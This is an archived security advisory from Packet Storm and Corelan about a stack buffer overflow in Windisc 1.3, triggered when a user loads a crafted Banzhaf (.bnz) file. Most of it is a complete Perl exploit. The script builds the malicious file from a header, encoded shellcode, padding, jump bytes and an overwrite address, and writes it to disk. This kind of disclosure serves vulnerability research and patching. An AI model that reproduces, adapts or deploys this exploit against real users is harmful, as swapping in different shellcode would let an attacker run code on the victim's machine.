all things security

Windisc 1.3 Stack Buffer Overflow

Windisc 1.3 Stack Buffer Overflow
Posted Mar 16, 2010
Authored by Rick | Site corelan.be

Windisc version 1.3 suffers from a stack buffer overflow vulnerability. Full exploit code included.

tags | exploit, overflow
MD5 | ae169a1b3bef09878c6b43b25193a365

Windisc 1.3 Stack Buffer Overflow

Change Mirror Download
|------------------------------------------------------------------|
| __ __ |
| _________ ________ / /___ _____ / /____ ____ _____ ___ |
| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |
| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |
| |
| http://www.corelan.be:8800 |
| security@corelan.be |
| |
|-------------------------------------------------[ EIP Hunters ]--|
| |
| Vulnerability Disclosure Report |
| |
|------------------------------------------------------------------|

Advisory : CORELAN-10-013
Disclosure date : March 16, 2010


0x00 : Vulnerability information
--------------------------------

[*] Product : Windisc
[*] Version : 1.3
[*] Vendor : RParris
[*] URL : http://math.exeter.edu/rparris/windisc.html
[*] Platform : Windows
[*] Type of vulnerability : Stack Buffer overflow
[*] Risk rating : Medium
[*] Issue fixed in version : Unknown
[*] Vulnerability discovered by : Rick2600
[*] Corelan Team : http://www.corelan.be:8800/index.php/security/corelan-team-members/


0x01 : Vendor description of software
-------------------------------------
From the vendor website:
Windisc is a collection of subprograms that deal with discrete-math topics such as
apportionment, voting power, voting methods, and network analysis
(traveling salesman problem, map-coloring, etc).


0x02 : Vulnerability details
----------------------------
In order to trigger the vulnerability a user needs to load a crafted Banzhaf (.bnz) file.

EAX 00A193BC
ECX 0000000B
EDX 00A193BC
EBX 00A16638
ESP 0012F778 ASCII "AAAAAAAAAAAAAAAAAA..."
EBP 41414141
ESI 00A4D158
EDI 0000000C
EIP 41414141



0x03 : Vendor communication
---------------------------
[*] Feb 15 2010: Author contacted (no replies)
[*] Mar 08 2010: Vulnerability disclosed


0x04 : Exploit/PoC
------------------
Note : you are not allowed to edit/modify this code.
If you do, Corelan cannot be held responsible for any damages this may cause.


print "|------------------------------------------------------------------|\n";
print "| __ __ |\n";
print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n";
print "| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\n";
print "| |\n";
print "| http://www.corelan.be:8800 |\n";
print "| |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print "[+] PEAnut Discrete Math Package Exploit\n";

my $sploitfile="windisc_poc.bnz";

my $header=
"\x77\x03\x00\x00\x03\x00\x00\x00\x36\x00\x00\x00\x3b\x00\x00\x00".
"\x50\x03\x00\x00\x3c\x02\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
"\x3d\x00\x00\x00\xd9\xff\xff\xff\x2c\x01\x00\x00\x64\x00\x00\x00".
"\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00".
"\x0f\x00\x00\x00\x2b\xd0\x28\x01\x49\x1e\x29\x01\x00\x00\x00\x00".
"\x0c\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x08\x00\x00\x00".
"\x0c\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00".
"\x0a\x00\x00\x00\x0a\x00\x00\x00\xf0\xff\xff\xff\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00".
"\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x02\x08\x02\x01\x31".
"\x53\x79\x6d\x62\x6f\x6c\x00\x20\x4e\x65\x77\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72".
"\x69\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf5\xff\xff\xff".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00".
"\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20".
"\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\xf0\xff\xff\xff\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00".
"\x08\x02\x01\x02\x54\x69\x6d\x65\x73\x00\x72\x20\x4e\x65\x77\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x02".
"\x54\x69\x6d\x65\x73\x00\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72".
"\x69\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf3\xff\xff\xff".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00".
"\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20".
"\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00".
"\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31".
"\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x24\xf9\x12\x00\x91\x74\x49\x00".
"\x1c\x83\x4b\x00\x00\x00\x00\x00\x00\x24\xf9\x12\x00\x91\x74\x49".
"\x00\x1c\x83\x4b\x00\x00\x00\x00\x00\x00\x24\xf9\x12\x00\x91\x74".
"\x49\x00\x1c\x83\x4b\x00\x00\x00\x00\x00\x00\x24\xf9\x12\x00\x91".
"\x74\x49\x00\x1c\x83\x4b\x00\x00\x00\x00\x00\x00\x13\x00\x13\x00".
"\x13\x00\x13\x00\x13\x00\x13\x00\x13\x00\x04\x00\x00\x00\x06\x00".
"\x13\x00\x13\x00\x13\x00\x13\x00\x13\x00\x00\x00\x00\x00\xff\xff".
"\xff\x00\xff\x00\xff\x00\xff\xff\x00\x00\xff\x00\x00\x00\x00\xbf".
"\x3f\x00\x00\x00\xff\x00\x00\x7f\x7f\x00\xff\x7f\x00\x00\xff\x00".
"\x7f\x00\xa0\x2f\x00\x00\x00\xff\xff\x00\xbf\xbf\x7f\x00\x7f\x00".
"\x7f\x00\x20\xff\x00\x00\xff\x7f\x7f\x00\x87\x87\x00\x00\x00\x3c".
"\xa0\x00\xe0\xe0\xe0\x00\xc0\xc0\xc0\x00\xa0\xa0\xa0\x00\x80\x80".
"\x80\x00\x60\x60\x60\x00\x40\x40\x40\x00\xbf\x00\x3f\x00\x7e\xde".
"\xff\x00\xff\xcc\xcc\x00\xff\x7e\xde\x00\xff\xde\x7e\x00\xde\xff".
"\x7e\x00\x7e\xff\xde\x00\xff\xff\xbf\x00\xff\xbf\xff\x00\xbf\xff".
"\xff\x00\xff\xff\xde\x00\xff\xde\xff\x00\xde\xff\xff\x00\xb1\xde".
"\xd4\x00\xb1\xd4\xde\x00\xd4\xb1\xde\x00\xd4\xde\xb1\x00\xde\xb1".
"\xd4\x00\xde\xd4\xb1\x00\xbf\xf1\xde\x00\xbf\xde\xf1\x00\xde\xf1".
"\xbf\x00\xde\xbf\xf1\x00\xf1\xde\xbf\x00\xf1\xbf\xde\x00\xff\x96".
"\xea\x00\x96\xea\xff\x00\xcc\xcc\xcc\x00\xc8\x70\x00\x00\xde\xcd".
"\x00\x00\xde\x68\x20\x00\x14\x82\x28\x00\xc0\x00\xa0\x00\xd4\x28".
"\x28\x00\x50\x84\xb0\x00\x64\xa0\xc8\x00\x14\x64\x14\x00\x0c\x00".
"\x00\x00\x07\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00".
"\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xb1\x00\x00\x00\x05\x00".
"\x00\x00\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x16\x00\x00\x00\x2f\x00".
"\x00\x00\x24\x00\x00\x00\x1e\x00\x00\x00\x24\x00\x00\x00\x2d\x00".
"\x00\x00\x20\x00\x00\x00\x23\x00\x00\x00\x11\x00\x00\x00\x1f\x00".
"\x00\x00\x0b\x00\x00\x00\x07\x00";


#MsgBox Corelan Team
my $shellcode=
"\x2b\xc9\xdb\xca\xb1\x4b\xd9\x74\x24\xf4\x5a\xbf\xc8\xac" .
"\x87\x72\x31\x7a\x16\x83\xea\xfc\x03\x7a\xda\x4e\x72\x24" .
"\xeb\x4e\x4c\x12\xb8\x7f\xcb\x2f\xbd\xf4\x53\x3c\x4a\x4a" .
"\x40\x6c\x12\xc0\x6e\xdc\xf4\x5d\x68\x57\x48\x72\x2b\x8e" .
"\xda\x72\xd3\x50\xba\xf9\xbf\x74\x1e\x75\x7a\x49\xd5\xdd" .
"\x80\xc9\xe8\x37\x01\x63\xf2\x4c\x4c\x54\x03\xb8\x92\xa3" .
"\x4a\xb5\x61\x47\x4d\x27\xb8\xa8\x7c\x77\x47\xfa\xfa\xb7" .
"\xcc\x09\xc3\xf7\x20\x0f\x04\xee\xca\xf0\x75\x0e\x17\x73" .
"\xad\xd9\x1d\x55\x26\x43\xfa\x68\xd3\x12\x89\x67\x68\x50" .
"\xd7\x6b\x6f\x8d\x63\x97\xe4\x50\x9c\x11\xbe\x76\x40\x43" .
"\xfd\xda\x28\xd1\xe9\x82\x36\x2a\x16\x45\xcf\x54\x2c\x5e" .
"\xd0\x56\xac\xde\x17\x52\xac\xe0\x97\x62\x62\x95\x71\x57" .
"\x92\x10\x7e\x58\x62\xe8\x0d\x3d\x10\x21\xc0\x93\xb0\x29" .
"\x48\xec\xd0\x92\x90\xec\x20\x5d\xde\xe2\xcc\x1f\x07\x18" .
"\x7f\x08\x84\xdd\x7f\xc8\x43\x7f\x32\x74\x12\x6c\xc4\x84" .
"\x15\x6d\x5d\x61\x9c\xaf\xb4\xb1\x60\xd0\xb9\x18\x12\x52" .
"\x41\x2c\xdd\x2c\x88\x26\x1e\x2f\x0a\xdf\x81\xd0\xf5\xe0" .
"\x57\x9b\xf6\xe0\x57\x1b\x5d\x1b\x21\x26\xb4\xeb\xce\x58" .
"\xb9\xb2\x9d\xf7\x17\xa3\xe8\x08\x68\xcc\xfc\xe2\x96\x33" .
"\xff\x57\x7f\x29\xff\x67\x7f\x17\xce\xb5\x2d\xf4\x61\x68" .
"\x2e\x2a\xb0\x4c\x80\x34\xe6\x44\xc8\x2d\xf6\xaa\xf7\xe2" .
"\x7e\x3b\x62\x67\x81\x2b\x8d\x98\x7e\x54\x0e\x08\xf3\xce" .
"\xfc\xb7\x9d\x30\xa8\x52\x03\x5c\x70\xed\xb4\xf0\x15\x69" .
"\x3b\x07";


print "[+] Preparing payload\n";

my $payload = $header;
$payload .= "A" x 300;
$payload .= $shellcode;
$payload .= "B" x (772 - length($shellcode));
$payload .= "\xE9\xB9\xFC\xFF\xFF";
$payload .= "\xEB\xF9\x90\x90";
$payload .= pack("V", 0x00405437);

print "[+] Writing payload to file\n";

open(FILE,">$sploitfile");
binmode (FILE);
print FILE $payload;
close(FILE);
print "[+] Wrote ".length($payload)." bytes to file $sploitfile\n";

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    15 Files
  • 2
    Oct 2nd
    16 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    11 Files
  • 6
    Oct 6th
    6 Files
  • 7
    Oct 7th
    2 Files
  • 8
    Oct 8th
    1 Files
  • 9
    Oct 9th
    13 Files
  • 10
    Oct 10th
    16 Files
  • 11
    Oct 11th
    15 Files
  • 12
    Oct 12th
    23 Files
  • 13
    Oct 13th
    13 Files
  • 14
    Oct 14th
    12 Files
  • 15
    Oct 15th
    2 Files
  • 16
    Oct 16th
    16 Files
  • 17
    Oct 17th
    16 Files
  • 18
    Oct 18th
    15 Files
  • 19
    Oct 19th
    10 Files
  • 20
    Oct 20th
    7 Files
  • 21
    Oct 21st
    4 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close